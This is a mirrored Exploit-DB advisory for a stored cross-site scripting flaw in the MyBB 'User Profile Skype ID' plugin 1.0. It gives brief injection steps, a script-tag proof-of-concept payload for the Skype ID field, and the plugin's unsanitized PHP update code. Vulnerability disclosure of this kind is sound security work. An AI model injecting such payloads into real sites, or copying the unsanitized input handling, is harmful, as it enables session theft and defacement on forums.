MyBB User Profile Skype ID Plugin 1.0 – Persistent Cross-Site Scripting - 体验盒子

作者： limb0

日期： 2012-12-16

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/23425/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

# Exploit Title: Profile Skype ID MyBB Plugin Stored XSS

# Date: 14/12/2012

# Exploit Author: limb0

# Vendor Homepage: http://www.dragonknightz.net/

# Software Link: http://mods.mybb.com/view/user-profile-skype-id

# Version: 1.0

# Category:Web Security

# Tested on: Linux

+------------------------------------------------------------+

Stored XSS-Instructions

1.Install&Activate plugin

2.Go to UserCP >> Edit Profile >>Skype ID:

3.Inject your string(xss) ex. "><script>alert("Skype ID XSS")</script>

4.Visit your profile and voila

Proof

Inject:https://imageshack.us/photo/my-images/22/screenshotfrom201212141.png/

Result:https://imageshack.us/photo/my-images/41/screenshotfrom201212141.png/

+-------------------------------------------------------------+

Vulnerable code:

function profileskype_update($skype)

{

global $mybb;

if (isset($mybb->input['skype']))

{

$skype->user_update_data['skype'] = $mybb->input['skype'];

}